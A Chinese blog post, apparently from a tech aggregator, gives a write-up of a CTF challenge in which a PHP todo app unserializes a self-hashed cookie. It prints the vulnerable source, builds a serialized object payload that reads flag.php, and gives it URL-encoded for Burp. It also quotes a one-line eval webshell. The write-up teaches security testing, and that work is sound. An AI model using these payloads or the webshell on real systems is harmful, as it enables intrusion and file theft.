当前位置:网站首页>一道反序列化的CTF题分享
一道反序列化的CTF题分享
2022-07-23 12:59:00 【红蓝的红】
一、源码分析
首先看源代码:
<?php
Class readme{
public function __toString()
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
}
}
if(isset($_GET['source'])){
$s = new readme();
$s->source = __FILE__;
echo $s;
exit;
}
//$todos = [];
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos'];
$h = substr($c, 0, 32);
$m = substr($c, 32);
if(md5($m) === $h){
$todos = unserialize($m);
}
}
if(isset($_POST['text'])){
$todo = $_POST['text'];
$todos[] = $todo;
$m = serialize($todos);
$h = md5($m);
setcookie('todos', $h.$m);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
?>
<html>
<head>
</head>
<h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul>
<?php foreach($todos as $todo):?>
<li><?=$todo?></li>
<?php endforeach;?>
</ul>
<form method="post" href=".">
<textarea name="text"></textarea>
<input type="submit" value="store">
</form>
分析源代码:
从源码中看到,定义了一个类,名称为readme。readme中使用了__toString()函数,这个函数是PHP中几个常见的魔术方法之一(魔术方法指的是满足一定条件会自动触发的函数),该方法当有对象被当做字符串输出时就会自动触发。注意这里指的是把类实例化后的对象,而不是变量。
源码第三行中的highlight_file()函数的语法为:
highlight_file(filename,return)
该函数是对文件内容进行语法高亮显示,这里的return如果该为true,则函数会返回高亮处理后的代码。
接着看下面的代码:

这表示如果对source参数进行了GET传参,就会将readme这个类实例化出一个对象,为$s
该对象会调用source方法并赋值为该脚本的绝对路径。下一行的echo $s表示将该对象当成字符串输出,这意味着前面的__toString函数将自动触发。
看到末尾有个exit,这意味着代码执行到这里时就会停止执行,这意味着__FILE__将无法改为指定的值,也就是该参数不可控。
接着看cookie传参部分的代码:
看到其中出现了一个substr()函数为,该函数的语法为:substr(string,start,length)
这里start参数表示字符串切割的起始位置,是必填参数,length参数是可选的,默认为切割至字符串的末尾。
因此这里代码就很好理解了:
substr($c, 0, 32); \\表示截取字符串c的前32位(包括第32位),
substr($c, 32);\\表示截取字符串的第32位后的全部(不包括第32位)。
结合后面的if中的条件,这里可以得出结论:
传入的cookie参数的字符串是由$h和$m组成,而$h实际上就是$m经过md5加密后的值。
再看下面POST传参中的代码,实际上这段代码的含义是读取用户通过POST传参传递给text参数的字符串,然后对其进行序列化后,一部分进行md5加密,另一部分保持不变,再组合成新的字符串,并设置为cookie参数,参数名为todos。
最后是设置header的location参数,用预定义变量获取URI(统一资源标识符)。
再看页面上的输出点:
<?php foreach($todos as $todo):?>
<li><?=$todo?></li>
//键值分离,并输出$todo的值
这里涉及了php的一种特殊写法,例如常见的一句话木马的写法一般是这么写:
<?php eval($_REQUEST[8])?>
实际上也可以这么写:
<?=eval($_REQUEST[8])?>
这里如果是函数,则=号会自动转换为php,而如果是变量,则会输出这个变量的值,例如:
<?=$a=1?> //相当于<?php echo $a=1 ?>
执行后会输出1。
二、传参分析
通过对靶场的源码分析,了解了源代码的基本内容和含义,
可以确定这里的GET和POST方法均为干扰选项,因此应重点看cookie传参的源码。
接下来考虑如何进行传参以访问flag.php文件。
根据靶场的源代码,如果能将$source的值改为’flag.php’即可输出flag.php的内容。
现在需要完成两个步骤,分别是寻找反序列化函数和输出点。
反序列函数所在的位置需要进行cookie传参才能访问到。会将对象当成字符串输出的点有两个,一个是GET传参中的echo,还有一个则是页面上的输出点。很显然,GET传参部分的代码中有exit,因此无法运行到后面的代码,也就无法获取cookie传参,无法被利用。因此这里需要从页面上的输出点入手。
通过分析源代码,我们传入的参数需要经过反序列化函数处理,输出点是foreach函数,而foreach函数里的$todos必须是数组,因此这里需要将传参进行序列化,并以数组的形式传进去。
将部分源代码复制,到本地修改部分代码,因为要访问的是flag.php,并且需要将数据序列化,因此修改代码如图所示:
<?PHP
Class readme{
public function __toString()
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
}
}
$s = new readme();
$s -> source ='flag.php';
$s=[$s];
/* 这里要注意,使用[]来定义短数组的方法只有在PHP版本>=5.4时才能用,否则需要用array()函数来定义数组 */
echo serialize($s);
exit;
?>
最后输出:
a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
现在还需要分析如何让反序列化函数执行我们传入的参数,看源代码:
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos'];
$h = substr($c, 0, 32);
$m = substr($c, 32);
if(md5($m) === $h){
$todos = unserialize($m);
}
传参需要以cookie的形式传入,且会经过字符串处理函数进行切割。输入的参数由$c接收,该参数会被分割为$h和$m,而$h实际上就是$m经过md5加密后的值。
所以总结下来,要满足本题的条件,三个变量的值应当分别如下:
$h=e2d4f7dcc43ee1db7f69e76303d0105c
$m=a:1:{
i:0;O:6:"readme":1:{
s:6:"source";s:8:"flag.php";}}
$c=e2d4f7dcc43ee1db7f69e76303d0105ca:1:{
i:0;O:6:"readme":1:{
s:6:"source";s:8:"flag.php";}}
因此这里只要用$c的值对todos参数进行cookie传参即可获得flag的值。
要进行cookie传参,有多种方法,可以通过插件、控制台、或者抓包工具。
如果用抓包的方式传参需要进行一次URL编码,这里采用burp来传参,先对传参进行一次URL编码:
e2d4f7dcc43ee1db7f69e76303d0105ca%3A1%3A%7Bi%3A0%3BO%3A6%3A%22readme%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D
然后抓包传参即可。
三、小结
本文分享了一道反序列化的CTF题,并详细分析了源码和传参的设置,希望对大家学习渗透测试有帮助。
边栏推荐
- 竞赛大佬在华为:网络专家出身斯坦福物理系,还有人“工作跟读博差不多”...
- 【C语言】结构体、枚举和联合体
- Flutter | firstWhere 报错问题
- Why does fatal always appear when using opengaussjdbc? (tag database keyword user)
- 网络协议与攻击模拟:wireshark使用、ARP协议
- YOLOV7
- 卷积神经网络模型之——GoogLeNet网络结构与代码实现
- go语言多返回值以及返回错误类型
- STM32F103+RFID-RC522模块 实现简单读卡写卡demo「建议收藏」
- ts封装localstorage类,存储信息
猜你喜欢

【2022新生学习】第二周要点

O3DF执行董事Royal O’Brien:开源没有边界,所有共享的声音都会变成实际方向

ts封装localstorage类,存储信息

《STM32MP1 M4裸机CubeIDE开发指南》第六章 STM32Cube固件包

FreeRTOS个人笔记-挂起/解挂任务

Life cycle, state management and local redrawing of fluent components | developers say · dtalk

僧多粥少?程序员要怎样接私活才能有效提高收入?

動態規劃背包問題之完全背包詳解

Liupeng, vice president of copu: China's open source has approached or reached the world's advanced level in some areas

The working principle of PLL. For example, how can our 8MHz crystal oscillator make MCU work at 48mhz or 72mhz
随机推荐
大屏可视化的适配方案
SurFace家族选购参照
The competition boss is in Huawei: network experts are from Stanford physics department, and some people "work as much as reading a doctoral degree"
V self built n_ Deployment and use
COPU副主席刘澎:中国开源在局部领域已接近或达到世界先进水平
go语言多返回值以及返回错误类型
Flutter | 给 ListView 添加表头表尾最简单的方式
20220722 beaten record
Life cycle, state management and local redrawing of fluent components | developers say · dtalk
Basic auth plug-in based on apisik authorizes Minio file upload function
AWS Part 1
动态规划背包问题之完全背包详解
Niuke-top101-bm36
百度编辑器上传图片设置自定义目录
Convert.Calss file to.Jar idea
Backup and restore of database
动态规划背包问题之01背包详解
go语言的基础语法(变量、常量、基本数据类型,for、switch,case、数组、slice(切片)、make和new、map)
fio性能测试工具
Oralce中实现将指定列的指定内容替换为想要的内容